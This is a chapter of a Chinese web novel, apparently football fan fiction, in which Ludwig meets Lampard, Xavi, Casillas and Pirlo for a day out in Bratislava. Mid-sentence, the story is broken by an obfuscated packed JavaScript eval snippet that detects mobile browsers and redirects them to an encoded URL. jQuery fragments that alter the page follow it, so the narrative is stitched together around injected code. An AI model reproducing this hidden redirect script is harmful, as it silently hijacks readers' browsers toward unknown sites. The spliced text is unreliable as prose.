下一场比赛在5月29日，球员们有一天的休息时间，到了比赛前球队反而不会训练了，为了防止球员训练时受伤，所以多半是一些放松的活动。国家队和俱乐部的比赛也不一样，球员的水平不会短短几天突飞猛涨，主教练能做的就是提高球员彼此的熟悉程度，对个人要求不会很高。
所以路德维希轻松地从塔尔德利那里请到了假，要出去闲逛。
1993年，捷克和斯洛伐克和平分裂成两个国家，不过就算直到下个世记还是有人分不清它们的区别，所以在2000年，世界上的大部分人还是把它们当成一个国家。布拉迪斯拉发是斯洛伐克的首都，它是世界上最迷你的首都之一，人口只有43万，只靠步行就能游览全城。
路德维希带着自己的“丁丁”出发了——一台今年最新发布的索尼cyber-shot 数码相机，路德维希用它的拍摄的第一张照片是夕阳下的米兰城。
他坐在橘黄色电车的小窗边，通过这台相机去观察这个世界，好像回到了十多年前，还是个孩子的他第一次推开那扇卧室的大门，要离开自己的保护地去探索未知的一切。阳光透过客厅的窗，世界明亮盛大，让他怔在原地，抬头看见灰尘在金色的光线里静静地跳着舞。
生命真的太美好了，路德维希迫不及待地要去探索这个世界了。
他哼着歌给朋友们发了消息，告诉他们自己要开始冒险了。
“如果你愿意跟我一起去探险的话，就来市中心的罗兰喷泉广场，”路德维希兴高采烈地给目前在布拉迪斯拉发的朋友都发了短信，连昨天刚认识的兰帕德也没有落下，“我真想见到你们——如果你们的教练允许的话。”他想起来不是所有教练都像塔尔德利一样好说话，于是又补上了一句。
兰帕德没想到自己会和路德维希这么快再次见面。
本来应该是这样的，毕竟英格兰昨天刚输了意大利 ，按照欧青赛赛制他们下次球场见面得是决赛了——如果英格兰能小组出线还赢了淘汰赛的话。
但兰帕德心知这很难，这届英格兰国青队的队友并没有能力突出到可以拖着英格兰前进的天才球员。
如果能进淘汰赛都已经是不错的战绩了，输给如日中天的意大利很正常，英格兰大部分人已经从输了球的伤心里恢复，开始展望下一局，教练干脆放了假给球员们调整，所以兰帕德去找路德维希可以随时出发。
——所以他怎么就秒回路德维希的消息了？lulu一看就不缺朋友陪，我和他才刚认识，我去插/入lulu和他朋友们真的好吗，可是他说他真的想见我……兰帕德一把摊开行李箱，唰唰唰地把全部衣服都丢上床，试图给自己找一件礼貌的、得体的，同时还要凸显自己的帅气的衣服。
和他住在一起的舍友卡拉格进门就被满地的行李吓了一跳，垫着脚往床边蹦跶，“弗兰克你知道我们晚上会有教练查房吧？”
一件衬衫立刻飞到卡拉格的脸上，被他笑嘻嘻地接住了。
兰帕德站在卫生间的镜子前比划着，没去管故意搞怪的卡拉格。这家酒店的卫生间都安装了全身镜，他挑剔地打量着自己，觉得哪哪都不合适，这件显得他矮，上一件又显得他太黑，“你觉得哪件适合我？”兰帕德忽然想到自己也许应该问问第二个人的意见。
卡拉格立刻蹿过来，“穿什么这要看对象是谁，比如你要是跟本地姑娘出去玩，那你就得穿时髦点——别让她把你当成土狗。”
虽然卡拉格说得头头是道，但是兰帕德知道这家伙只是想八卦，他不想告诉别人自己是要去罗兰喷泉下去见路德维希了，可不告诉卡拉格的话，这个大嘴巴绝对会造谣兰帕德和某个姑娘约会去了，然后嚷嚷得人尽皆知，他绝对会的。
兰帕德只好说：“不是什么姑娘，是路德维希，昨天意大利的16号前锋。”
卡拉格没有露出什么震惊英格兰中场核心通敌的痛心表情，相反他激动起来，“路德维希？AC米兰的那个路德维希？”
兰帕德惊悚地回头看他，卡拉格的表现让他感觉自己好像进入了什么三流狗血电视剧。这人难道暗恋lulu？他的眼神锐利起来。
“马尔蒂尼，他肯定天天和马尔蒂尼见面！”卡拉格还在大叫，“我真嫉妒他！”
兰帕德悄悄松了一口气，原来卡拉格是明恋马尔蒂尼，“lulu已经进入一线队了，应该会和马尔蒂尼一起训练吧。”他自然地说。
身为后卫喜欢马尔蒂尼简直就是吃饭喝水那么简单，卡拉格还在念念叨叨，都没空想兰帕德怎么跟路德维希扯上关系的——就因为昨天兰帕德把对面撞倒地了吗？不过这不重要，重点是有了这层关系，他是不是有机会要到马尔蒂尼的签名了？
“弗兰克！你一定要好好打扮。”
卡拉格深沉地说，他打量了一遍兰帕德的衣柜，嫌弃起来队友的审美，“别穿你这些丑衣服了——过来，看我的行李箱。”
兰帕德别别扭扭地出发了，因为卡拉格这家伙骚包地还给他喷了发蜡，他不得不忍住别去摸头发。去征服米兰吧！这个英国后卫沉浸在得到偶像签名的幻想里，用力地拍打兰帕德肩膀，把他推出门，好像在欢送勇士出征。
“别忘了我的签名，好兄弟！”
在布拉迪斯拉发这座小城，从英格兰国青队住的酒店走到市中心只需要十分钟，沿途都是布满历史风霜的高高的石墙，墙面上都是划痕，大小不一的石块堆砌，和五颜六色的房屋顶组合在一起，好像一块大大的拼接布，地上长长的石板路则是缝合的线头，它们交错纵横，让这座城市像是童话故事里的小镇一样梦幻。
兰帕德转过街道，遥遥地看见了罗兰喷泉中心最上方持剑而立的骑士，骑士脚下的基座上是拉丁文的建造铭文，用以纪念神罗皇帝马克西米利安二世，寓意着这位永恒至尊会永远地庇护普雷斯堡，这是布拉迪斯拉发过去的名字，在过去无数位神罗皇帝在此登基加冕。
但兰帕德当然不知道，没机会发表一通关于历史关于岁月的感想，他16岁就决定自己要成为一位职业球员了，在他还在读书的时候，他连上课都在琢磨足球战术。他只是看见了雕塑中部四面雕刻的长着翅膀的小天使在尿尿。
兰帕德没有看见路德维希。
但喷泉边两个正在闲聊的人影注意到了兰帕德，其中稍矮的那个人立刻对兰帕德的方向挥手，“嘿，你也是lulu的朋友吗？”
兰帕德听懂了这句简单的西班牙语，感谢他曾经的西班牙语老师，“嘿？”他迟疑地点头，朝他们走去了。
这两个人都是西班牙人，一个叫卡西利亚斯，一个叫哈维。
卡西利亚斯是个完美符合刻板印象中阳光灿烂乐观开朗的西班牙人，他有一头金棕色的短发，笑起来会露出牙齿，非常热情地用他稀烂的英语和兰帕德沟通；哈维反而比兰帕德更像个冷淡的英国人，似乎一开口就要“请”“劳驾”“恕我直言”，要用自带的阴风苦雨隔绝一切社交。
“lulu一会就来。”他只说了这一句就不再说话了。
卡西利亚斯热情地介绍自己和同伴：“我和哈维都是西班牙国青队的队员。”
兰帕德噢噢噢地点头，假装自己听懂了，总而言之他们应该都是西班牙国青队的队员吧，其实他就听懂一个足球。
路德维希姗姗来迟，背后还慢吞吞地跟着一个皮尔洛。
哈维第一个看见他，旁边卡西利亚斯还在专心致志地和兰帕德鸡同鸭讲，什么都没有意识到，于是他直接大跨步迎了上去，下一刻路德维希搂住他，开心地亲吻自己西班牙朋友的侧脸。
哈维自然地捧住路德维希的脸，也亲了回去。
“哈维，好久不见！还有伊戈尔，我也很想你。”
在没人看见的地方，皮尔洛偷偷翻了个白眼，原本他打算留在酒店打游戏，直到路德维希准备出发他才后知后觉lulu要跟人跑了，于是紧急跟过来，现在感觉自己像是封建家长看见孩子乱搞关系，只想冲上去把这群人撕开，别像口香糖一样粘着他家前锋了。
和皮尔洛有点像的还有兰帕德，后者尴尬地站在一边，觉得自己好像有点多余。路德维希一来，原本冷冷淡淡的哈维立刻就生动起来，不再像个雕塑似地站在原地沉思，很难不让人感觉他其实是不喜欢兰帕德这个人。
“——弗兰克，我真高兴你能来。”下一秒路德维希转头握住兰帕德的手，卡西利亚斯搂着路德维希的肩膀，两个人都笑得开心极了。
兰帕德有些不好意思地说：“其实我也很高兴见到你，lulu。”
冷淡的哈维和长发卷毛男立刻被他抛到耳后了，他全身每个细胞都恨不得和路德维希贴在一起。
在双倍的热情下，三个人开始开开心心地商量去哪玩，聪明的中场球员哈维和皮尔洛偶尔才说话，负责制止三个没有脑袋的家伙的异想天开，路德维希负责提出，卡西负责完善，兰帕德只会盲从说好好好，真让人怀疑他怎么踢中场的。
朋友们之间的暗流涌动，路德维希完全没有意识到。
在人际交往方面，他一向是个迟钝的人，但好在他主动又热情，从来不会让问题留在心里，长了嘴就是为了直白地表达自己。当他模糊地意识到朋友们情绪不对时，他往往会直接说我很担心你，我想要你需要我，如果可以的话，请和我说会儿话好吗？
路德维希的话那么真挚，绿色的眼睛湿润地看着你，好像你就是他的全世界，他的世界里下起蒙蒙细雨，让你只能走入他的伞下，好让两颗跳动的心挨在一起。
——他显然是个成熟的意大利人了，已经无师自通了让无数人为了他辗转反侧彻夜难眠，想着这人对我笑是什么意思。
现在路德维希只是觉得朋友们热情得过分。
比如讨论后他们决定先去吃午饭，餐厅的露台只有四人桌，路德维希去找服务员询问可不可以再加一个位置，等他带着椅子回来，看见四个朋友里只有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15442992|169386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
卡西利亚斯已经坐下了，其他三个人似乎还在谦让，都站着没坐下，唯一坐下的卡西也和路德维希一样摸不清头脑，茫然地似乎也想站起来了。
卡西利亚斯觉得这群人真是怪怪的，虽然大家都是第一次见面，但也没必要礼貌到这个地步吧。
皮尔洛首先表示“我和lulu是队友，我得等他来”，于是抱胸站着，那双睁不开的眼睛似乎又闭上了；哈维施施然表示自己不能让朋友站着自己坐着，所以请皮尔洛先坐；兰帕德摸着他梳得每根发丝都在闪闪发亮的黑发，腼腆地微笑，不说话，也站着。
——难道我是一个没有礼貌的人？卡西利亚斯震惊地想，我给热情好客的马德里人丢脸了吗？
就在这时，路德维希回来了，于是卡西利亚斯不必再去思考西班牙人在英国人和意大利人面前的形象问题，他在椅子上又坐得稳稳的，拉开自己身边的座位，对着路德维希招手。
路德维希走过去，挨着卡西利亚斯坐下，转头好奇地问其他人：“你们为什么不坐下？”
兰帕德立刻坐在了路德维希左边的空位上，他原本想说些什么我在等你回来的话，但是哈维先开口了。
“劳驾让让，”哈维拎着第五把椅子，自然把它插/入兰帕德和路德维希中间，好像本该就是这样，“我想等你回来。”他转头对路德维希说。
而兰帕德就只能说没什么，他想站着而已……这个哈维绝对是个英格兰人，还得是曼彻斯特人，兰帕德简直想狠狠踹这个家伙的屁股。
皮尔洛随便坐下来，开始翻菜单，“lulu，我给你选好菜了，”他轻松地说，好像这只是件小事。
卡西利亚斯探头探脑，“有土豆吗？”
其他人都两手空空，只有路德维希带了一个挎包，挎包里一个小熊脑袋探出头，一双黑豆眼睛似乎在静静地观察这个世界。
路德维希看见兰帕德注意到了憨豆熊，于是把它拿了出来，这下兰帕德就知道自己为什么感到熟悉了——《憨豆先生》在英国非常受欢迎，他的小熊朋友也很有名。
“我很喜欢《憨豆先生》，”路德维希给他的小熊朋友戴上货架上摆着的小毛线帽，“弗兰克是英国人，肯定也看过吧。”
“确实很好看。”哈维说。
兰帕德让自己忽视有个西班牙佬站在身边，极力夸赞路德维希的品味，“这是全英国最伟大的喜剧，我家里人都喜欢看，lulu，你原来对英国感兴趣吗？”
出发前卡拉格对兰帕德紧急培训，告诉后者共同爱好是最重要的，如果对方对他感兴趣那他们才有可能，现在路德维希喜欢英国，四舍五入就是对兰帕德也感兴趣。
“其实西班牙也有著名的喜剧……”哈维又说话了。
这是布拉迪斯拉发老城区的一间玩偶商店，橱窗里摆着曾经的捷克斯洛伐克最著名的动画《鼹鼠的故事》主角的玩偶，短手短脚圆乎乎的鼹鼠睁着大眼睛，在这间温馨的玩偶店里挥手、跳舞和挠头，有的穿着背带裤，有的戴着毛线帽，还有鼹鼠开着宇宙飞船被挂在天花板下转着圈，墙上梵高的名画《星月夜》里，一只鼹鼠坐在月亮上，正低头去看脚下的模糊混乱的城市。
所有人里，只有卡西利亚斯才是真正的和路德维希有共同话题，在关于动画这方面。
他们两都看过《丁丁历险记》，卡西利亚斯听见路德维希给自己的相机叫丁丁，立刻就兴奋地追问，“是不是丁丁？喜欢旅游的那个小男孩？”
他揪着自己金棕色的头发，假装自己也有动画主角丁丁一样的发型，这个样子实在是太丢人，哈维受不了地走开了，假装自己不认识这个人。
“喜欢旅游的小男孩？”皮尔洛顺着卡西的话想了想，“lulu确实很喜欢到处跑。”
“因为外面的世界真的很有意思，你看这个鼹鼠。”路德维希献宝一样捧着开着宇宙飞船的鼹鼠要给皮尔洛看，憨豆熊也换上了背带裤和芒果配色的毛线帽，坐在宇宙飞船的副驾驶位置上，船长鼹鼠兴高采烈地要带这个乘客出发了。
本来这是非卖品，店主只做展示，不过路德维希一眼就喜欢上了，然后请求店主卖给他。
兰帕德继续大力赞美路德维希的审美，“黄绿色的帽子真好看！”
哈维冷不丁地说：“lulu是打算退役后要环游世界吗？”
环游世界，这太符合路德维希给人的印象了，他看上去就是要坐着热气球上天，或者开着直升飞机消失在大海尽头的人，就算哪天路德维希对所有人宣布自己要坐宇宙飞船去探索星空也不会有人意外，因为这件事对路德维来说自然得好像回家一样理所当然，谁能阻止太阳发光，谁能让星星不要流过天空呢？
是路德维希选择了足球，不是足球选择了他，哈维觉得路德维希退役后肯定会潇洒地离开足球的世界，好像只是短暂地停留，但最终他还是再次要出发了。
这样的生机勃勃，这样的永不停歇，让人目眩神迷。